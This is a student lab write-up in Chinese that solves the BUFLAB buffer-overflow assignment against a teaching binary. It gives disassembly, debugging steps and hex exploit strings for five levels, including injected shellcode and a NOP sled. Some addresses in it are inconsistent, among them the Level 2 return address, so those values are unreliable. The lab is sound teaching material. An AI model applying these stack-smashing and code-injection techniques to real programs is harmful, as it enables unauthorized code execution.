目录
实验目的
本次实验题目为BUFLAB,本次实验旨在让学生对IA-32的函数调用方式以及栈的组织方式有更深层次的理解。在本次实验中,我们可以了解到通常用于利用操作系统和网络服务器中的安全弱点的常用方法之一的第一手经验。本次实验的目的是帮助我们了解程序的运行时的操作,并了解这种形式的安全弱点的本质,以便我们在编写系统代码时可以避免它,而使用这种攻击或任何其他形式的攻击来获得对任何系统资源的未经授权的访问是违法的。
实验原理
通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,造成程序崩溃或使程序转而执行其它指令,以达到攻击的目的。造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。
实验准备
1.本次实验有一个压缩包buflab-handout.tar,需要在ubantu中用命令tar xvf buflab-handout.tar解压,解压后会得到三个可执行文件:
1).bufbomb: 这个程序是你要攻击的对象。
2).makecookie: 这个程序会根据你输入的userid生成对应的cookie。
3).hex2raw: 这个程序会将你输入的字符串以ASCII的形式解释并转化成字符的形式,并以字符串格式输出。
2.在本次实验的5个关卡中,我们需要构造相应的攻击字符串,来实现相应的功能,由于bufbomb需要接受相应的字符串,而有些字符是不能通过标准输入打印出来的,所以我们可以先将攻击字符串保存在一个文件中,再由hex2raw处理后输出给bufbomb。具体操作见如下指令:
cat exploit.txt | ./hex2raw | ./bufbomb -u bovik
./hex2raw < exploit.txt | ./bufbomb -u bovik
也可以将hex2raw处理过的文件保存下来:
unix> ./hex2raw < exploit.txt > exploit-raw.txt
运行:
unix> ./bufbomb -u bovik < exploit-raw.txt
调试:
unix> gdb bufbomb
(gdb) run -u bovik < exploit-raw.txt
3.注意:
1).你构造的字符串里不应该有0x0A,在ASCII码中这对应一个换行符,将这个作为输入程序会认为你结束了输入,后面的输入将读取不到。
2).你给hex2raw处理的字符串应该是16进制的两位数,0x0应该表示为0x00.
4.我的userid:lbubu 我的cookie:0x443784c7
实验过程
1.Level0:Candle
在Level0中,你需要构造一个攻击字符串,让程序跳转到smoke函数执行。
getbuf函数的汇编代码如下:
08049262 <getbuf>:
8049262: 55 push %ebp
8049263: 89 e5 mov %esp,%ebp
8049265: 83 ec 38 sub $0x38,%esp
8049268: 8d 45 d8 lea -0x28(%ebp),%eax
804926b: 89 04 24 mov %eax,(%esp)
804926e: e8 bf f9 ff ff call 8048c32 <Gets>
8049273: b8 01 00 00 00 mov $0x1,%eax
8049278: c9 leave
8049279: c3 ret
804927a: 90 nop
可以看到,getbuf函数创建了一个大小为0x28即十进制的40的缓冲区,根据IA-32的栈组织机制,当前帧指针处存放的是旧的ebp的值,而再往上一个字节存的就是返回地址,当函数返回后会跳转到该返回地址继续执行,所以我们要做的就是将这个返回地址覆写为smoke函数的地址,为了覆写该地址,我们的攻击字符串一共要有40+4+4=48个字节,其中最后一个字节为smoke函数的地址。
Smoke函数的地址可以通过查看汇编代码得知:
08048e0a <smoke>:
8048e0a: 55 push %ebp
8048e0b: 89 e5 mov %esp,%ebp
8048e0d: 83 ec 18 sub $0x18,%esp
8048e10: c7 44 24 04 fe a2 04 movl $0x804a2fe,0x4(%esp)
8048e17: 08
由图知smoke函数的地址为0x0804e0a,除了最后一个字节的值其他字节的值都无关紧要,因为程序运行到smoke函数会结束。
因此我们构造攻击字符串如下:
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00//这里我把smoke函数的地址换成了0x8048e0b,
00 00 00 00//因为在前面的注意事项里提到过,0x0a对应的
00 00 00 00//是换行符,所以直接用原地址会出错,改用下一
00 00 00 00//个地址即可。
00 00 00 00
00 00 00 00
00 00 00 00
0b 8e 04 08
下面进行验证:
验证成功!
2.Level1:Sparkler
在Level1中,我们需要构造攻击字符串,让getbuf函数调用fizz函数,并且将fizz函数的参数设置为自己的cookie.
首先让getbuf函数调用fizz函数,思路和Level1一样,需要构造总的48个字节并且最后一个字节为fizz函数地址的攻击字符串,通过汇编查看fizz函数的地址:
08048daf <fizz>:
8048daf: 55 push %ebp
8048db0: 89 e5 mov %esp,%ebp
8048db2: 83 ec 18 sub $0x18,%esp
fizz的地址为0x8048daf,getbuf函数的汇编代码如下:
08049262 <getbuf>:
8049262: 55 push %ebp
8049263: 89 e5 mov %esp,%ebp
8049265: 83 ec 38 sub $0x38,%esp
8049268: 8d 45 d8 lea -0x28(%ebp),%eax
804926b: 89 04 24 mov %eax,(%esp)
804926e: e8 bf f9 ff ff call 8048c32 <Gets>
8049273: b8 01 00 00 00 mov $0x1,%eax
8049278: c9 leave
8049279: c3 ret
804927a: 90 nop
调用getbuf前后esp的值是不变的,所以理论上fizz函数的帧指针应该与getbuf函数的帧指针指向同一个位置,但是由于这里的fizz函数不是通过call指令调用的,而是我们直接return到fizz函数取执行的,所以在运行fizz函数时没有返回地址入栈,这也导致fizz函数的帧指针指向getbuf函数帧指针的上四个字节处,如图所示:
我把其中的ebp叫做fake old ebp是因为该位置会被我们覆写掉,由上图可知,由于fizz函数会在自己的ebp+8处取参,所以我们除了前面48字节外,还要补充8字节的字符串,这8个字节的最后4字节即fizz的参数。
综上,构造攻击字符串如下:
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
af 8d 04 08//fizz函数的地址
00 00 00 00
c7 84 37 44//my cookie(fizz的参数)
下面进行验证:
验证成功!
3.Level2:Firecracker
在Level2中,我们需要构造攻击字符串,使getbuf函数调用bang函数并且要将cookie的值赋给global_value.
要实现修改global_value的值,我们必须先知道global_value在内存中的位置,在ubantu中使用指令objdump -D bufbomb对全部文件进行反汇编我们就可以看到global_value变量的地址:
可以看到global_value的地址为0x804d10c,修改global_value的值可以通过汇编代码实现:movl $0x443784c7, 0x804d10c
我们将修改该变量的机器码放在攻击字符串最前面,为了这部分的机器码能够运行,我们需要将返回地址修改为缓冲区的首地址,这样执行ret指令时就会跳转到我们的攻击代码来执行。下面通过调试计算缓冲区的地址:
此处我调试使用的是fizz-r.txt,即fizz.txt经过hex2raw处理后的文件,如图所示,将断点设置在getbuf函数的入口0x8049262,此时ebp的值为0x55683680,则缓冲区的首地址为0x55683680-0x28 = 0x55683658,因此返回地址应设置为0x55683658.
在设置完global_value的值后,我们应该考虑如何跳转到bang函数里面,此处可以利用ret指令。ret指令相当于popl %eip,即将栈顶的四个字节弹出作为下一条指令的地址,因此我们只需要先将bang函数的地址入栈,然后ret即可跳转到bang函数。
bang函数的汇编代码如下:
08048d52 <bang>:
8048d52: 55 push %ebp
8048d53: 89 e5 mov %esp,%ebp
8048d55: 83 ec 18 sub $0x18,%esp
由汇编代码可知bang函数的地址为0x8048d52.
综上,总的需要执行的汇编代码如下:
movl $0x443784c7, 0x804d10c
pushl $0x8048d52
ret
首先将该段汇编用指令:gcc -m32 -c level2.s编译成可执行文件,再用objdump -d将该段汇编转化成机器码:
我们构建的攻击字符串文件还是48个字节,前面用上图的机器码填充,最后四个字节为缓冲区的首地址。
综上,构建攻击字符串如下:
c7 05 0c d1
04 08 c7 84
37 44 68 52
8d 04 08 c3//攻击代码
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
28 36 68 55//缓冲区首地址
下面进行验证:
验证成功!
4.Level3:Dynamite
在Level3中,我们构建的字符串不仅要将getbuf的返回值改为cookie,而且要恢复栈帧的结构,从而做到让程序“无法察觉”。
首先,我们修改返回值的操作还是用mov指令,修改eax寄存器的值即可:
movl $0x443784c7, %eax
这里我们修改完返回值后,要让程序运行调用完getbuf的下一条指令,从调用getbuf函数的test函数的汇编代码中可以看到这一地址:
08048e3c <test>:
8048e3c: 55 push %ebp
8048e3d: 89 e5 mov %esp,%ebp
8048e3f: 53 push %ebx
8048e40: 83 ec 24 sub $0x24,%esp
8048e43: e8 d0 fd ff ff call 8048c18 <uniqueval>
8048e48: 89 45 f4 mov %eax,-0xc(%ebp)
8048e4b: e8 12 04 00 00 call 8049262 <getbuf>
8048e50: 89 c3 mov %eax,%ebx
可以看到,在修改完返回值后我们需要返回的地址为:0x8048e50,与前面的Level一样,我们利用ret指令来实现这一返回过程:
pushl $0x8048e50
ret
与Level2一样,我们也需要先将该汇编编译成可执行文件,再反汇编成机器码:
在这个Level里,我们的攻击字符串也是48个字节,其中前面为修改返回值的机器码,最后四个字节为缓冲区的首地址,以便我们ret到缓冲区执行攻击代码,与前面不一样的是,在这次的字符串中我们需要补上ebp的值,使程序的栈帧能够正常恢复,该ebp的值需要通过调试得知:
如图,我们将断点设置在0x8049265处,此时的getbuf已经保存了旧的ebp,并且也没有被我们覆写,通过i r指令查看ebp的值为0x55683650,该地址其实是ebp指向的位置,而我们需要的其实是该位置的值:
可以看到该位置的值为0x55683680,这就是我们需要的旧ebp,在攻击字符串里,我们要将该old ebp填入倒数第8到倒数第4个字节。
综上,构建攻击字符串如下:
b8 c7 84 37
44 68 50 8e
04 08 c3 00//修改返回值
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
80 36 68 55//old ebp
28 36 68 55//缓冲区首地址
下面进行验证:
验证成功!
5.Level4:Nitroglycerin
Level4要求基本与Level3一样,都是要求我们改变getbuf的返回值并不破坏栈帧的结构,不同的是,Level4在bufbomb的-n模式下运行,我们的攻击字符串会被输入5次,这5次我们都要保证返回值被正确修改,而且在-n模式下,由于每次运行的环境变量不同,导致每次栈的位置也不同,这就意味着缓冲区的位置是不定的,这个特点也是Level4命名的由来:Nitroglycerin(硝酸甘油),作者用这种炸药的不稳定性来形容实验中栈位置的不定性。
在考虑栈位置的不定性之前,我们先实现返回值的修改以及栈帧的修复:
返回值的修改同前面几个Level一样:
movl $0x443784c7, %eax
栈帧的修复我们不能像前面那样直接调试计算ebp的值来实现了,因为这5次运行ebp的值都不一样。
08048cce <testn>:
8048cce: 55 push %ebp
8048ccf: 89 e5 mov %esp,%ebp
8048cd1: 53 push %ebx
8048cd2: 83 ec 24 sub $0x24,%esp
8048cd5: e8 3e ff ff ff call 8048c18 <uniqueval>
8048cda: 89 45 f4 mov %eax,-0xc(%ebp)
8048cdd: e8 62 05 00 00 call 8049244 <getbufn>
8048ce2: 89 c3 mov %eax,%ebx
我们要恢复的是getbufn函数的调用者的栈帧,即testn的栈帧,前面我们提到过,在call指令前后esp的值是不变的,当我们在执行攻击代码时,已经完成了对getbufn的调用(攻击代码是通过ret指令跳转到的),这就意味着我们可以通过esp计算出ebp,所以要知道testn的ebp,我们只需要知道testn的ebp和esp的关系,然后用esp计算即可。
根据上面的汇编代码,当ebp和esp拉平(mov %esp,%ebp)后,执行了一次push指令,还有一个sub $0x24,%esp指令,所以ebp = esp + 0x24 + 0x4 = esp + 0x28因此(%esp + 0x28)就是我们需要的old ebp的值,这里我们不能将这个old ebp写在攻击字符串里,因为这个old ebp的值5次都不一样,直接将它写入ebp寄存器即可,汇编实现如下:
leal 0x28(%esp), %ebp
下面要做的事还是跟前面一样,将调用getbufn之后的第一条指令的地址入栈,利用ret指令让其运行原程序的代码,从上面的汇编可以看到调用getbufn之后的指令地址是:0x8048ce2,因此汇编代码如下:
pushl $0x8048ce2
ret
与Level2一样,我们也需要先将该汇编编译成可执行文件,再反汇编成机器码:
我们的攻击代码已经准备好了,现在的问题是把它放在哪里以及如何处理缓冲区位置的不定性。这里实验文档里有提示使用”nop sleds”技术,即nop雪橇,我们将攻击代码放在攻击字符串最后面,而将前面用nop指令填充,并且将开始执行的地址设置为5个缓冲区中地址最大的一个,这样5次运行都会跳转到nop指令运行,直到运行到攻击代码,5次运行的缓冲区地址需要通过调试得知。
getbufn的汇编代码如下:
08049244 <getbufn>:
8049244: 55 push %ebp
8049245: 89 e5 mov %esp,%ebp
8049247: 81 ec 18 02 00 00 sub $0x218,%esp
804924d: 8d 85 f8 fd ff ff lea -0x208(%ebp),%eax
8049253: 89 04 24 mov %eax,(%esp)
8049256: e8 d7 f9 ff ff call 8048c32 <Gets>
804925b: b8 01 00 00 00 mov $0x1,%eax
8049260: c9 leave
8049261: c3 ret
可以看到该函数申请了大小为0x208即十进制的520的缓冲区,缓冲区的地址可以通过ebp的值算出,下面我们将断点设置在0x8049247(此处ebp已经更新)并进行调试查看5次ebp的值:
num | ebp of getbuf | beg of buffer |
1 | 0x55683650 | 0x55683448 |
2 | 0x556836a0 | 0x55683498 |
3 | 0x55683690 | 0x55683488 |
4 | 0x55683620 | 0x55683418 |
5 | 0x556836b0 | 0x556834a8 |
可以看到缓冲区的地址最大为:0x556834a8,这就是我们要设置的返回地址的值。
在这个攻击字符串中,我们要从缓冲区溢出从而覆写返回地址,所以一共是520 + 4 + 4 = 528个字节,最后四个为返回地址,紧挨着返回地址的就是我们的攻击代码,综上,构建攻击字符串如下:
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
//前面用nop填充
90 90 90 90 90 90 90 90 90 b8
c7 84 37 44 8d 6c 24 28 68 e2
8c 04 08 c3 //攻击代码
a8 34 68 55 //返回地址
下面进行验证:
验证成功!